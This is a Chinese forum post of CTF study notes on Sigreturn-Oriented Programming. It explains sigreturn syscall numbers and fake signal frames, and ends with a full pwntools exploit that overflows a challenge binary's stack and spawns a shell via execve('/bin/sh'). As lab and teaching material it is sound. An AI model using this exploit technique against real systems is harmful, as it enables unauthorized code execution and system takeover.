https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop
https://blog.csdn.net/luozhaotian/article/details/79607572
https://www.anquanke.com/post/id/85810
https://www.freebuf.com/articles/network/87447.html
其中的重点就是
需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
1.可以通过栈溢出来控制栈的内容
2.需要知道相应的地址
3.需要有够大的空间来塞下整个 sigal frame
32 位的 sigreturn 的调用号为 77;在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15。寄存器 eax 中存放系统调用号,同时系统调用返回值也存放在 eax 中。
以64位系统为例,只需要RAX=15
,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。
伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。
然后将返回地址设置为sigreturn的地址(或者相关gadget)。
最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。
保护全开
由汇编代码可得调用了read(fd, &buf, 0x400)
write(fd, &buf, 0x30)
存在溢出
本题中存在的对栈的处理pop push就只有 开始的push rbp
和ret
=pop rip
所以最后返回的rip被rbp赋值,我们可以覆盖到rbp从而改变了返回地址
同时还能发现故意设置的gadgets
pwntools 中已经集成了对于 srop 的攻击:https://docs.pwntools.com/en/stable/rop/srop.html
execve的函数定义
所以实际上我们要调用
查找ropgadget
没有找到rdx,直接使用__libc_csu_init
传参
比较麻烦
参考 :https://zhuanlan.zhihu.com/p/106014234
看了一下,整个二进制文件都分析不清楚,只能get到漏洞点
32位牵扯到了VDSO
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/pwnable/fuckup
http://binja.github.io/2015/05/19/defconctf2015-fuckup-writeup/
ida少的可怜,总之实现了read(0, $rsp, 0x400)
没有给我们可用的sigreturn,这就用到前文说的:
以64位系统为例,只需要RAX=15
,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。
我们希望通过syscall调用execve("/bin/sh", 0, 0) 跟第一题有点像哈
SROP + mprotect + shellcode
前面部分和整体思想和法一是一样的,只是最后不是execve 而是用mprotext修改内存区属性再写入shellcode拿shell
这个参考:https://bestwing.me/2017-360chunqiu-online.html 学到的新方法
Linux/x64 - Execute /bin/sh Shellcode (24 bytes)
/*for x86*/
mov eax,0x77
int 80h
/*for x86_64*/
mov rax,0xf
syscall
| sig_ret| <---esp
| .......|
| |
| frame |
|........|
| |
——————————
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'
# io = process('./s3')
io = remote("node3.buuoj.cn",28503)
elf = ELF("./s3")
vuln_addr = 0x00000000004004ED
sigreturn_addr = 0x00000000004004DA
syscall_addr = 0x0000000000400501
payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(vuln_addr)
io.send(payload)
io.recv(0x20)
binsh_addr = u64(io.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(sigreturn_addr) + p64(syscall_addr) + str(frame)
io.send(payload)
io.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-3-10 19:28
被plkk编辑
,原因: